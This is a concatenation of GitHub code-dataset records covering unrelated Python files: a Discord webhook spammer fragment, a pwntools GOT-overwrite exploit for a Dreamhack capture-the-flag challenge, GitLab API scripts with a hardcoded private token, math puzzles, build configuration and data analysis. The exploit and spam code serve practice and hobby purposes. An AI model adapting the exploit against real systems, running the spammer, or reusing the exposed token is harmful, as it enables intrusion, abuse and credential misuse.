g:\r\n linesM = g.read()\r\n\r\nif webhook_stel == \"txt\":\r\n print(\"\")\r\n print(\"[TXT] >\", webhookintxt, \"Webhook Load !\")\r\n system(f\"title Discord Webhook Sender / {webhookintxt} webhook found in txt ! / Coded by Ezermoz#0001.\")\r\n print(\"\")\r\n tokenstel4Wh = input(\"\"\"[WEBHOOK IN TXT] > What's the message?\\n (txt) if the message is on .txt > \"\"\")\r\nelse:\r\n tokenstelLogic = input(\"\"\"What's the message?\\n (txt) if the message is on .txt > \"\"\")\r\n\r\n# TXT & TXT\r\nif webhook_stel == 'txt' and tokenstel4Wh == 'txt':\r\n webhookF = DiscordWebhook(url=linesW, content=linesM)\r\n respondF = webhookF.execute()\r\n print(\"\")\r\n print(\"Finnish, Sent ! 1\")\r\n input()\r\n\r\n#TXT & MESSAGE\r\nif webhook_stel == 'txt' and tokenstel4Wh != 'txt':\r\n webhookF = DiscordWebhook(url=linesW, content=tokenstel4Wh)\r\n respondF = webhookF.execute()\r\n print(\"\")\r\n print(\"Finnish, Sent ! 2\")\r\n input()\r\n\r\n#MESSAGE & TXT\r\nif webhook_stel != 'txt' and tokenstelLogic == 'txt':\r\n webhookLogic = DiscordWebhook(url=webhook_stel, content=linesM)\r\n respondLogic = webhookLogic.execute()\r\n print(\"\")\r\n print(\"Finnish, Sent ! 3\")\r\n input()\r\n\r\n#MESSAGE & MESSAGE\r\nif webhook_stel != 'txt' and tokenstelLogic != 'txt':\r\n webhookLogicL = DiscordWebhook(url=webhook_stel, content=tokenstelLogic)\r\n respondLogicL = webhookLogicL.execute()\r\n print(\"\")\r\n print(\"Finnish, Sent ! 4\")\r\n input()","repo_name":"Kacpixyy69/DiscordWebhookSpammer","sub_path":"DiscordWebHookSender/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"386772363","text":"from pwn import *\ncontext.log_level = 'debug'\nget_shell = 0x4008ea\ne= ELF(\"./ssp_000\")\np = remote(\"host1.dreamhack.games\", 17403)\nvuln_got = e.got['__stack_chk_fail']\ncanary_rewrite = 'a' * 0x50\np.send(canary_rewrite)\np.recvuntil('Addr : ')\np.sendline(str(vuln_got))\np.recvuntil('Value : ')\np.sendline(str(get_shell))\np.interactive()","repo_name":"baehunsang/CTF","sub_path":"pwn/Dreamhack/SSP000/gotOverwrite.py","file_name":"gotOverwrite.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26286116579","text":"#-*- codeing=utf8 -*-\n#!/usr/bin/env python\nimport json\nimport os\n\nimport requests\n\ndef test():\n private_token = 'x_aXP2ZJV89b2q3dWsRw'\n master_ip='XX.XX.XX.XX'\n curent_dir='cty-flagShipstore'\n url = 'http://%s:8084/api/v4/projects/%s/repository/tree/?path=%s&private_token=%s' % (\n master_ip, curent_dir, curent_dir, private_token)\n\n url = 'http://%s:8084/api/v4/projects?private_token=%s&search=%s' % (master_ip, private_token, curent_dir) # 获取指定项目信息\n r = requests.get(url)\n data = r.text\n a = json.loads(data)\n print('a',a)\n project_id = a[0]['id']\n project_name = a[0]['name']\n temp = {}\n ret = []\n temp['id'] = project_id\n temp['text'] = project_name\n ret.append(temp)\ndef test2():\n private_token = 'x_aXP2ZJV89b2q3dWsRw'\n master_ip = 'XX.XX.XX.XX'\n project_id = 24\n curent_dir = 'cty-store'\n url = 'http://%s:8084/api/v4/projects?private_token=%s&search=%s' % (master_ip, private_token, curent_dir) # 获取指定项目信息\n #url = 'http://%s:8084/api/v4/projects?private_token=%s&search=%s' % (master_ip, private_token, project_id) # 获取指定项目信息\n #url = 'http://%s:8084/api/v4/projects/%s/repository/tree/?private_token=%s' % (\n #master_ip, project_id, private_token) # 获取所有项目二级目录(项目名为1级)\n r = requests.get(url)\n data = r.text\n a = json.loads(data)\n temp=[]\n for i in a:\n temp.append(i['name'])\n if 'pom.xml' in temp:\n print(\"这是一个maven项目\")\n # if i['name']=='pom.xml':\n # print(i)\n # print (\"这是一个maven项目\")\n print (temp)\nif __name__=='__main__':\n # rc = test()\n a='/data/projects'\n b='asf'\n print(os.path.join(a,b).replace('\\\\','/'))\n # rc = test2()\n","repo_name":"lnytx/gitlab_api","sub_path":"cty_devops/cty_devops/temp2.py","file_name":"temp2.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42906443137","text":"#Euler 12\ndef euler12(num):\n condition = 0\n jj = 2\n\n tris = []\n tris.append(1)\n t1 = t.time()\n while condition == 0:\n tris.append(tris[-1] + jj)\n #nums = np.linspace(1,tris[-1],tris[-1])\n facts = []\n for i in range(1,int(tris[-1]**0.5)):\n if tris[-1]%i == 0:\n facts.append(i)\n facts.append(tris[-1]/i)\n\n if len(facts) > num:\n condition = 1\n jj += 1\n\n t2 = t.time()\n print(t2-t1)\n return tris[-1]\n\nprint(euler12(500))\n","repo_name":"alexanderbart/PHGN498A","sub_path":"euler12.py","file_name":"euler12.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9978042848","text":"import numpy as np\n \nclass PerfectlyObservedRetina(object):\n def __init__(self, dictionary, cids):\n self.dictionary = dictionary\n self.cids = np.squeeze(np.array(cids))\n \n def stimulate(self, trial_elec_amps):\n _, spks_coll = get_responses_3d(self.dictionary, \n trial_elec_amps=trial_elec_amps)\n return spks_coll\n\n\ndef get_responses_3d(D, trial_elec_amps):\n \n n_elecs = D.shape[0]\n n_amps = D.shape[1]\n n_cells = D.shape[2]\n \n spks_collect = []\n for _ in range(n_elecs):\n yy = []\n for _ in range(n_cells):\n xx = [[], []]\n yy += [xx]\n spks_collect += [yy]\n \n probs_est = np.zeros((n_elecs, n_amps, n_cells))\n \n for ielec in range(D.shape[0]):\n # print(ielec, len(spks_collect[0][0][0]))\n ntrials_xx = trial_elec_amps[ielec, :].astype(np.int)\n for iamp in range(ntrials_xx.shape[0]):\n \n ntrials = ntrials_xx[iamp]\n \n if ntrials == 0:\n continue\n # print(n_cells, ntrials, ielec, iamp, D.shape) \n spks = (np.random.rand(n_cells, ntrials) <= \n np.repeat(np.expand_dims(D[ielec, iamp, :], 1), ntrials, 1)).astype(np.float32)\n probs_est[ielec, iamp, :] = spks.mean(1)\n for icell in range(n_cells):\n \n if np.sum(D[ielec, :, icell]) == 0: # cell will never be stimulated!!\n continue\n spks_collect[ielec][icell][0] += ntrials * [iamp]\n spks_collect[ielec][icell][1] += list(spks[icell, :])\n \n return probs_est, spks_collect # elec x amp x cell\n\n \n","repo_name":"Chichilnisky-Lab/shah-neurips-2019","sub_path":"code/system_actual.py","file_name":"system_actual.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"21209637345","text":"import pytest\n\n\n@pytest.mark.lor\n@pytest.mark.integration\nclass TestRankedApi:\n def test_leaderboards(self, lor_context, region):\n actual_response = lor_context.watcher.ranked.leaderboards(region)\n\n lor_context.verify_api_call(\n region, \"/lor/ranked/v1/leaderboards\", {}, actual_response,\n )\n","repo_name":"pseudonym117/Riot-Watcher","sub_path":"tests/integration/legends_of_runeterra/test_RankedApi.py","file_name":"test_RankedApi.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":516,"dataset":"github-code","pt":"60"} +{"seq_id":"29267295788","text":"#! /usr/bin/env python\r\n# set Android specific options\r\n\r\nimport os\r\nimport re\r\nfrom copy import deepcopy\r\nfrom waflib import Context, Errors, Logs, Options, Configure\r\n\r\n\r\ndef _get_android_arch(arch):\r\n archs = {\r\n 'armv7a': 'arm',\r\n 'amd64': 'x86_64',\r\n 'mipsel': 'mips',\r\n 'mips64el': 'mips64',\r\n 'i686': 'x86',\r\n 'aarch64': 'arm64'\r\n }\r\n return archs.get(arch, arch)\r\n\r\n\r\nclass NdkConfig:\r\n def __init__(self, ndkroot, sysroot, ldsysroot, libpath, defines):\r\n self._ndkroot = ndkroot\r\n self._sysroot = sysroot\r\n self._ldsysroot = ldsysroot\r\n self._libpath = libpath\r\n self._defines = defines\r\n\r\n def get_defines(self):\r\n return self._defines\r\n\r\n def get_ndkroot(self):\r\n return self._ndkroot\r\n\r\n def get_sysroot(self):\r\n return self._sysroot\r\n\r\n def get_ldsysroot(self):\r\n return self._ldsysroot\r\n\r\n def get_libpath(self):\r\n return self._libpath\r\n\r\n\r\nclass NdkArchConfig:\r\n def __init__(self, archs):\r\n self._archs = archs\r\n\r\n def get_ndk_config(self, arch):\r\n return self._archs[_get_android_arch(arch)]\r\n\r\n def get_valid_archs(self, archs):\r\n result = []\r\n for arch in archs:\r\n if _get_android_arch(arch) in self._archs:\r\n result.append(arch)\r\n return result\r\n\r\n\r\nclass NdkVersionConfig:\r\n def __init__(self, ndkroot):\r\n self._versions = {}\r\n platforms_directory = os.path.join(ndkroot, 'platforms')\r\n if os.path.isdir(platforms_directory):\r\n sysroot_dir = os.path.join(ndkroot, 'sysroot')\r\n unified_headers = os.path.isdir(sysroot_dir)\r\n for version in os.listdir(platforms_directory):\r\n if os.path.isdir(os.path.join(platforms_directory, version)):\r\n defines = []\r\n version_number = int(version.split('-')[1])\r\n if unified_headers:\r\n defines.append('-D__ANDROID_API__=%d' % version_number)\r\n arch_configs = {}\r\n for arch in os.listdir(os.path.join(platforms_directory, version)):\r\n sysroot_arch_dir = os.path.join(platforms_directory, version, arch)\r\n if os.path.isdir(sysroot_arch_dir):\r\n arch_name = arch.split('-')[1]\r\n if os.path.isdir(os.path.join(sysroot_arch_dir, 'usr', 'lib64')):\r\n libdir = os.path.join(sysroot_arch_dir, 'usr', 'lib64')\r\n else:\r\n libdir = os.path.join(sysroot_arch_dir, 'usr', 'lib')\r\n arch_configs[arch_name] = NdkConfig(\r\n ndkroot, sysroot_dir if unified_headers else sysroot_arch_dir, sysroot_arch_dir,\r\n [libdir], defines\r\n )\r\n self._versions[version_number] = NdkArchConfig(arch_configs)\r\n else:\r\n for toolchain in os.listdir(os.path.join(ndkroot, 'toolchains', 'llvm', 'prebuilt')):\r\n sysroot_dir = os.path.join(ndkroot, 'toolchains', 'llvm', 'prebuilt', toolchain, 'sysroot')\r\n if os.path.isdir(sysroot_dir):\r\n for target in os.listdir(os.path.join(sysroot_dir, 'usr', 'lib')):\r\n arch = _get_android_arch(target.split('-')[0])\r\n lib_dir = os.path.join(sysroot_dir, 'usr', 'lib', target)\r\n for version in os.listdir(lib_dir):\r\n lib_dir_version = os.path.join(lib_dir, version)\r\n if os.path.isdir(lib_dir_version):\r\n config = NdkConfig(\r\n ndkroot, sysroot_dir, sysroot_dir, [lib_dir_version, lib_dir],\r\n ['-D__ANDROID_API__=%s' % version]\r\n )\r\n try:\r\n self._versions[int(version)]._archs[arch] = config\r\n except KeyError:\r\n self._versions[int(version)] = NdkArchConfig({arch: config})\r\n\r\n def get_ndk_for_sdk(self, sdk):\r\n sdk_number = int(sdk.split('-')[1])\r\n ndk_versions = sorted([v for v in self._versions.keys() if v <= sdk_number])\r\n try:\r\n best_ndk_version = ndk_versions[-1]\r\n except IndexError:\r\n return None\r\n else:\r\n return self._versions[best_ndk_version]\r\n\r\n\r\nclass AndroidPlatform(Configure.ConfigurationContext.Platform):\r\n NAME = 'android'\r\n\r\n def __init__(self, conf, ndk_config, sdk_root, version):\r\n Configure.ConfigurationContext.Platform.__init__(self)\r\n self.NAME = self.__class__.NAME + '_' + self.get_android_version(version)\r\n self.ndk_config = ndk_config\r\n self.sdk_path = sdk_root\r\n self.sdk_version = version\r\n\r\n def get_android_version(self, sdk_version):\r\n versions = {\r\n '1': '1.0',\r\n '2': '1.1',\r\n '3': 'Cupcake_1.5',\r\n '4': 'Donut_1.6',\r\n '5': 'Eclair_2.0',\r\n '6': 'Eclair_2.0.1',\r\n '7': 'Eclair_2.1',\r\n '8': 'Froyo_2.2',\r\n '9': 'Gingerbread_2.3.2',\r\n '10': 'Gingerbread_2.3.7',\r\n '11': 'Honeycomb_3.0',\r\n '12': 'Honeycomb_3.1',\r\n '13': 'Honeycomb_3.2',\r\n '14': 'IceCreamSandwich_4.0',\r\n '15': 'IceCreamSandwich_4.0.3',\r\n '16': 'JellyBean_4.1',\r\n '17': 'JellyBean_4.2',\r\n '18': 'JellyBean_4.3',\r\n '19': 'KitKat_4.4',\r\n '20': 'KitKat_4.4W',\r\n '21': 'Lollipop_5.0',\r\n '22': 'Lollipop_5.1',\r\n '23': 'Marshmallow_6.0',\r\n '24': 'Nougat_7.0',\r\n '25': 'Nougat_7.1',\r\n '26': 'Oreo_8.0',\r\n '27': 'Oreo_8.1',\r\n '28': 'Pie_9.0',\r\n '29': '10',\r\n '30': '11',\r\n }\r\n return versions.get(sdk_version, 'api' + sdk_version)\r\n\r\n def get_target_folder(self, arch):\r\n archs = {\r\n 'mipsel': 'mips',\r\n 'x86': 'x86',\r\n 'armv7a': 'armeabi-v7a',\r\n 'arm64': 'arm64-v8a',\r\n 'mips64el': 'mips64',\r\n 'amd64': 'x86_64'\r\n }\r\n return archs[arch]\r\n\r\n def get_android_c_flags(self, compiler):\r\n arch_flags = {\r\n 'gcc':\r\n {\r\n 'x86': [],\r\n 'amd64': [],\r\n 'armv7a': ['-march=armv7-a', '-mfloat-abi=softfp', '-mfpu=vfpv3-d16'],\r\n 'arm64': [],\r\n 'mipsel': [],\r\n 'mips64el': [],\r\n },\r\n 'clang':\r\n {\r\n 'x86': [],\r\n 'amd64': [],\r\n 'armv7a': ['-fno-integrated-as', '-march=armv7-a', '-mfloat-abi=softfp', '-mfpu=vfpv3-d16'],\r\n 'arm64': [],\r\n 'mipsel': ['-fintegrated-as'],\r\n 'mips64el': ['-fintegrated-as'],\r\n }\r\n }\r\n return arch_flags[compiler.NAMES[0].lower()][compiler.arch]\r\n\r\n def get_android_ld_flags(self, compiler):\r\n arch_flags = {\r\n 'gcc':\r\n {\r\n 'x86': [],\r\n 'amd64': [],\r\n 'armv7a': ['-Wl,--fix-cortex-a8', ],\r\n 'arm64': [],\r\n 'mipsel': [],\r\n 'mips64el': [],\r\n },\r\n 'clang':\r\n {\r\n 'x86': [],\r\n 'amd64': [],\r\n 'armv7a': ['-Wl,--fix-cortex-a8', ],\r\n 'arm64': [],\r\n 'mipsel': [],\r\n 'mips64el': [],\r\n }\r\n }\r\n return arch_flags[compiler.NAMES[0].lower()][compiler.arch]\r\n\r\n def load_in_env(self, conf, compiler):\r\n env = conf.env\r\n arch = compiler.arch\r\n ndk_config = self.ndk_config.get_ndk_config(arch)\r\n target_folder = self.get_target_folder(arch)\r\n\r\n env.VALID_PLATFORMS = ['android']\r\n appname = getattr(Context.g_module, Context.APPNAME, conf.srcnode.name)\r\n env.cxxprogram_PATTERN = 'lib%s.so'\r\n env.append_unique('CFLAGS', ['-fPIC'])\r\n env.append_unique('CXXFLAGS', ['-fPIC'])\r\n env.append_unique('LINKFLAGS_cprogram', ['-shared', '-Wl,-z,defs', '-llog', '-lc'])\r\n env.append_unique('LINKFLAGS_cxxprogram', ['-shared', '-Wl,-z,defs', '-llog', '-lc'])\r\n env.LINK_WITH_PROGRAM = True\r\n env.STRIP_BINARY = True\r\n env.CFLAGS_cxxshlib = []\r\n env.CXXFLAGS_cxxshlib = []\r\n env.STATIC = True\r\n env.COMPILER_ABI = 'androideabi'\r\n\r\n env.DEPLOY_ROOTDIR = appname\r\n env.DEPLOY_BINDIR = os.path.join('lib', target_folder)\r\n env.DEPLOY_RUNBINDIR = os.path.join('lib', target_folder)\r\n env.DEPLOY_LIBDIR = os.path.join('lib', target_folder)\r\n env.DEPLOY_INCLUDEDIR = 'include'\r\n env.DEPLOY_DATADIR = os.path.join('assets')\r\n env.DEPLOY_PLUGINDIR = os.path.join('lib', target_folder)\r\n env.DEPLOY_KERNELDIR = os.path.join('lib', target_folder)\r\n\r\n env.append_value('CFLAGS', self.get_android_c_flags(compiler))\r\n env.append_value('CXXFLAGS', self.get_android_c_flags(compiler) + ['-nostdinc++', '-std=c++98'])\r\n env.append_value('LDFLAGS', self.get_android_ld_flags(compiler))\r\n\r\n env.ANDROID_SDK = self.sdk_version\r\n env.ANDROID_SDK_PATH = self.sdk_path\r\n env.ANDROID_NDK_PATH = ndk_config.get_ndkroot()\r\n env.ANDROID_ARCH = _get_android_arch(arch)\r\n conf.env.SYSROOT = ndk_config.get_sysroot()\r\n compiler.sysroot = ndk_config.get_sysroot()\r\n\r\n sysroot_options = ndk_config.get_defines() + [\r\n '-isystem',\r\n os.path.join(compiler.sysroot, 'usr', 'include'), '-isystem',\r\n os.path.join(compiler.sysroot, 'usr', 'include', compiler.target)\r\n ]\r\n env.append_unique('JAVACFLAGS', ['-bootclasspath', os.path.join(self.sdk_path, 'android.jar')])\r\n env.append_unique('AAPTFLAGS', ['-I', os.path.join(self.sdk_path, 'android.jar')])\r\n\r\n if not os.path.isfile(\r\n os.path.\r\n join(ndk_config.get_ndkroot(), 'prebuilt', 'android-%s' % env.ANDROID_ARCH, 'gdbserver', 'gdbserver')\r\n ):\r\n raise Errors.WafError('could not find gdbserver for architecture %s' % env.ANDROID_ARCH)\r\n\r\n conf.env.append_value('CFLAGS', sysroot_options)\r\n conf.env.append_value('CXXFLAGS', sysroot_options)\r\n conf.env.append_value(\r\n 'LINKFLAGS', ['--sysroot', ndk_config.get_ldsysroot(),\r\n '-B%s' % ndk_config.get_libpath()[0]] + ['-L%s' % l for l in ndk_config.get_libpath()]\r\n )\r\n\r\n\r\nclass AndroidLoader(Configure.ConfigurationContext.Platform):\r\n NAME = 'android'\r\n\r\n def __init__(self, conf):\r\n self.conf = conf\r\n Configure.ConfigurationContext.Platform.__init__(self)\r\n\r\n if Options.options.android_jdk:\r\n paths = [\r\n os.path.join(Options.options.android_jdk, 'bin'),\r\n os.path.join(Options.options.android_jdk, 'jre', 'bin')\r\n ]\r\n conf.find_program('javac', path_list=paths)\r\n conf.find_program('java', path_list=paths)\r\n conf.find_program('jar', path_list=paths)\r\n conf.find_program('javadoc', path_list=paths)\r\n conf.load('javaw')\r\n conf.env.append_value('JAVACFLAGS', ['-source', '1.6', '-target', '1.6'])\r\n key_debug = conf.path.parent.make_node('debug.keystore')\r\n conf.env.JARSIGNER_FLAGS = [\r\n '-sigalg', 'MD5withRSA', '-digestalg', 'SHA1', '-keystore',\r\n key_debug.abspath(), '-storepass', 'android', '-keypass', 'android'\r\n ]\r\n conf.env.JARSIGNER_KEY = 'androiddebugkey'\r\n conf.env.APKSIGNER_FLAGS = [\r\n '--ks', key_debug.abspath(), '--ks-pass', 'pass:android', '--key-pass', 'pass:android'\r\n ]\r\n\r\n sdk_build_tool_path = self.get_build_tool_path(Options.options.android_sdk_path)\r\n sdk_tools_paths = self.get_tools_paths(Options.options.android_sdk_path)\r\n conf.find_program('adb', path_list=sdk_tools_paths)\r\n conf.env.DEX = os.path.join(sdk_build_tool_path, 'lib', 'dx.jar')\r\n if not os.path.isfile(conf.env.DEX):\r\n raise Errors.WafError('Unable to locate dx.jar')\r\n conf.find_program('zipalign', var='ZIPALIGN', path_list=sdk_tools_paths + [sdk_build_tool_path])\r\n conf.find_program('jarsigner', var='JARSIGNER', mandatory=False)\r\n conf.find_program('apksigner', var='APKSIGNER', path_list=[sdk_build_tool_path], mandatory=False)\r\n if not conf.env.JARSIGNER and not conf.env.APKSIGNER:\r\n raise Errors.WafError('Unable to locate jarsigner or apksigner')\r\n conf.env.DEXCREATE = '--dex'\r\n conf.env.DEX_TGT_PATTERN = '--output=%s'\r\n conf.find_program('aapt', path_list=[sdk_build_tool_path])\r\n conf.find_program('7z', var='_7Z', mandatory=False)\r\n\r\n def get_tools_paths(self, android_path):\r\n return [os.path.join(android_path, 'platform-tools'), os.path.join(android_path, 'tools')]\r\n\r\n def get_build_tool_path(self, android_path):\r\n sdk_tools_path = os.path.join(android_path, 'build-tools')\r\n if os.path.isdir(sdk_tools_path):\r\n sdk_tools = sorted(os.listdir(sdk_tools_path))\r\n if sdk_tools:\r\n sdk_tool = sdk_tools[-1]\r\n return os.path.join(sdk_tools_path, sdk_tool)\r\n raise Errors.WafError('Android build-tools not installed')\r\n\r\n def find_android_sdk(self, ndk_path, sdk_path, archs):\r\n def alphanum_key(s):\r\n def tryint(s):\r\n try:\r\n return int(s)\r\n except Exception:\r\n return s\r\n\r\n return [tryint(c) for c in re.split('([0-9]+)', s)]\r\n\r\n def valid_archs(platform_ndk, platform, archs):\r\n result = []\r\n for arch in archs:\r\n a = _get_android_arch(arch)\r\n p = os.path.join(platform_ndk, platform, 'arch-%s' % a)\r\n if os.path.isdir(p):\r\n result.append(arch)\r\n return result\r\n\r\n ndk_version_config = NdkVersionConfig(ndk_path)\r\n\r\n all_sdk_sdks = []\r\n platforms_sdk = os.path.join(sdk_path, 'platforms')\r\n all_sdk_sdks = [p for p in os.listdir(platforms_sdk)]\r\n sdk_pairs = [(i, ndk_version_config.get_ndk_for_sdk(i)) for i in all_sdk_sdks]\r\n sdk_pairs = [(i, j) for i, j in sdk_pairs if j]\r\n sdk_pairs = sorted(sdk_pairs, key=lambda x: alphanum_key(x[0]))\r\n if sdk_pairs:\r\n prefered_sdk = Options.options.android_sdk\r\n if prefered_sdk == 'all':\r\n return [\r\n (ndk, os.path.join(platforms_sdk, sdk), ndk.get_valid_archs(archs), sdk.split('-')[1])\r\n for sdk, ndk in sdk_pairs\r\n ]\r\n elif prefered_sdk:\r\n if 'android-%s' % prefered_sdk in all_sdk_sdks:\r\n sdk = 'android-%s' % prefered_sdk\r\n ndk = dict(sdk_pairs)[sdk]\r\n else:\r\n Logs.warn(\r\n 'could not find android SDK version %s in path %s; using %s' % (prefered_sdk, sdk_path, sdk)\r\n )\r\n else:\r\n sdk, ndk = sdk_pairs[0]\r\n return [(ndk, os.path.join(platforms_sdk, sdk), ndk.get_valid_archs(archs), sdk.split('-')[1])]\r\n else:\r\n raise Errors.WafError('no SDK for archs')\r\n\r\n def get_available_compilers(self, configuration_context, compiler_list):\r\n result = []\r\n compiler_sets = {}\r\n for compiler in compiler_list:\r\n for c in [compiler] + compiler.siblings:\r\n compiler_path = os.path.normpath(c.compiler_c)\r\n for ndk_path in Options.options.android_ndk_path.split(','):\r\n ndk_path = os.path.normpath(os.path.abspath(ndk_path))\r\n if compiler_path.startswith(ndk_path):\r\n c_name = c.NAMES[0].lower()\r\n try:\r\n subset = compiler_sets[c_name]\r\n except KeyError:\r\n subset = compiler_sets[c_name] = {}\r\n k = (c.NAMES[0], c.version, ndk_path)\r\n try:\r\n subset[k].append(c)\r\n except KeyError:\r\n subset[k] = [c]\r\n break\r\n\r\n def add_compiler_set(compilers):\r\n archs = [c.arch for c in compilers]\r\n try:\r\n android_sdks = self.find_android_sdk(k[2], Options.options.android_sdk_path, archs)\r\n except Errors.WafError:\r\n raise\r\n else:\r\n for ndk_config, sdk_root, archs, sdk_version in android_sdks:\r\n valid_compilers = []\r\n seen = set([])\r\n for c in compilers:\r\n if c.arch in archs and c.arch not in seen:\r\n seen.add(c.arch)\r\n valid_compilers.append(c)\r\n if len(valid_compilers) >= 1:\r\n result.append(\r\n (\r\n valid_compilers[0], valid_compilers,\r\n AndroidPlatform(self.conf, ndk_config, sdk_root, sdk_version)\r\n )\r\n )\r\n\r\n # find all GCC targets\r\n seen = set([])\r\n all_gcc_compilers = sorted(compiler_sets.get('gcc', {}).items())\r\n for k, compilers in all_gcc_compilers:\r\n if (k[0], k[1]) in seen:\r\n continue\r\n for c in compilers:\r\n prebuilt = os.path.join(k[2], 'prebuilt')\r\n for target in os.listdir(prebuilt):\r\n c.directories.append(os.path.join(prebuilt, target, 'bin'))\r\n try:\r\n add_compiler_set(compilers)\r\n except Errors.WafError as e:\r\n print(e)\r\n continue\r\n else:\r\n seen.add((k[0], k[1]))\r\n\r\n if all_gcc_compilers:\r\n for k, compilers in sorted(compiler_sets.get('clang', {}).items()):\r\n if (k[0], k[1]) in seen:\r\n continue\r\n c = compilers[0]\r\n clang_compilers = []\r\n for gcc in all_gcc_compilers[-1][1]:\r\n gcc_toolchain = os.path.dirname(os.path.dirname(gcc.compiler_c))\r\n extra_args = deepcopy(c.extra_args)\r\n extra_args['c'] += ['-target', gcc.target, '-gcc-toolchain', gcc_toolchain]\r\n extra_args['cxx'] += ['-target', gcc.target, '-gcc-toolchain', gcc_toolchain]\r\n extra_args['link'] += ['-target', gcc.target, '-gcc-toolchain', gcc_toolchain]\r\n try:\r\n clang_compiler = c.__class__(c.compiler_c, c.compiler_cxx, extra_args)\r\n except Exception:\r\n pass\r\n else:\r\n prebuilt = os.path.join(k[2], 'prebuilt')\r\n for target in os.listdir(prebuilt):\r\n clang_compiler.directories.append(os.path.join(prebuilt, target, 'bin'))\r\n clang_compiler.directories += gcc.directories\r\n clang_compiler.target = gcc.target\r\n clang_compilers.append(clang_compiler)\r\n if clang_compilers:\r\n try:\r\n add_compiler_set(clang_compilers)\r\n except Errors.WafError as e:\r\n print(e)\r\n continue\r\n else:\r\n seen.add((k[0], k[1]))\r\n else:\r\n for k, compilers in sorted(compiler_sets.get('clang', {}).items()):\r\n if (k[0], k[1]) in seen:\r\n continue\r\n c = compilers[0]\r\n clang_compilers = []\r\n targets = os.path.normpath(os.path.join(c.compiler_c, '..', '..', 'lib', 'gcc'))\r\n try:\r\n targets = os.listdir(targets)\r\n except FileNotFoundError:\r\n #print(targets)\r\n targets = []\r\n for target in targets:\r\n extra_args = deepcopy(c.extra_args)\r\n extra_args['c'] += ['-target', target]\r\n extra_args['cxx'] += ['-target', target]\r\n extra_args['link'] += ['-target', target]\r\n try:\r\n clang_compiler = c.__class__(c.compiler_c, c.compiler_cxx, extra_args)\r\n except Exception:\r\n pass\r\n else:\r\n for path in self.conf.env.EXTRA_PATH:\r\n lib_path = os.path.normpath(os.path.join(path, '..', 'lib', 'gcc', target))\r\n if os.path.isdir(lib_path):\r\n clang_compiler.directories.append(path)\r\n prebuilt = os.path.join(k[2], 'prebuilt')\r\n for t in os.listdir(prebuilt):\r\n clang_compiler.directories.append(os.path.join(prebuilt, t, 'bin'))\r\n clang_compiler.target = target\r\n clang_compilers.append(clang_compiler)\r\n\r\n if clang_compilers:\r\n try:\r\n add_compiler_set(clang_compilers)\r\n except Errors.WafError as e:\r\n print(e)\r\n continue\r\n else:\r\n seen.add((k[0], k[1]))\r\n return result\r\n\r\n\r\ndef configure(configuration_context):\r\n if not Options.options.android_sdk_path or not Options.options.android_ndk_path:\r\n return\r\n configuration_context.start_msg('Checking for Android tools')\r\n try:\r\n configuration_context.platforms.append(AndroidLoader(configuration_context))\r\n except Errors.WafError as e:\r\n configuration_context.end_msg(str(e), color='YELLOW')\r\n else:\r\n configuration_context.end_msg('done')\r\n","repo_name":"bugengine/BugEngine","sub_path":"extra/android/mak/configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":22874,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"13142765820","text":"import numpy\nimport seaborn as sns\nimport pandas\nimport statsmodels.api as sm\nimport matplotlib.pyplot as plt\n\nVE=numpy.array([0.95,0.8,0.6,0.4,0.2,0.05])\n\nStartDate=\"2021-10-23\" #Start date for variables not including deaths. Year-Month-Day.\nEndDate=\"2022-01-02\"\n\nStartDateDeaths=StartDate #Possible death dates: '2021-07-10', '2021-08-28', '2021-10-02', '2021-10-23', '2021-12-11'\nEndDateDeaths=EndDate\n\n# %% Data section:\n#Load datasets: \ndata = pandas.read_csv(\"Data/United_States_COVID-19_County_Level_of_Community_Transmission_Historical_Changes.csv\",dtype={'fips_code':str})\ndata2 = pandas.read_csv(\"Data/COVID-19_Vaccinations_in_the_United_States_County.csv\",dtype={'FIPS':str})\ndata3 = pandas.read_csv(\"Data/Provisional_COVID-19_Death_Counts_in_the_United_States_by_County_\"+ StartDateDeaths +\".csv\",dtype={'FIPS County Code':str})\ndata4 = pandas.read_csv(\"Data/Provisional_COVID-19_Death_Counts_in_the_United_States_by_County_\"+ EndDateDeaths+\".csv\",dtype={'FIPS County Code':str})\ndata5 = pandas.read_table(\"Data/LND01.csv\",delimiter=\",\",dtype={'STCOU':str})\ndata6 = pandas.read_table(\"Data/Ages.csv\",delimiter=\",\",dtype={'FIPS':str})\ndata7 = pandas.read_table(\"Data/AH_County_of_Occurrence_COVID-19_Deaths_Counts__2020_Provisional.csv\",delimiter=\",\",dtype={'Fips Code':str})\n\n#Fix FIPS code:\ndata3['FIPS County Code']=data3['FIPS County Code'].str.zfill(5)\ndata4['FIPS County Code']=data4['FIPS County Code'].str.zfill(5)\ndata7['Fips Code']=data7['Fips Code'].str.zfill(5)\n\n#Create \"deaths\" series:\ndeaths=data3.merge(data4, how='inner', on=[\"FIPS County Code\"]) \ndeaths=deaths.fillna(0)\ndeaths[\"deaths\"]=deaths[\"Deaths involving COVID-19_y\"]-deaths[\"Deaths involving COVID-19_x\"]\ndeaths[\"alldeaths\"]=deaths[\"Deaths from All Causes_y\"]-deaths[\"Deaths from All Causes_x\"]\ndeaths[\"noncoviddeaths\"]=deaths[\"alldeaths\"]-deaths[\"deaths\"]\n\n\n#\n#Data editing:\n#\n#Vaccine data:\ndata2[\"Administered_Dose1_Pop_Pct\"]=data2[\"Administered_Dose1_Pop_Pct\"].replace(0, numpy.nan)\ndata2[\"Administered_Dose1_Recip_65PlusPop_Pct\"]=data2[\"Administered_Dose1_Recip_65PlusPop_Pct\"].replace(0, 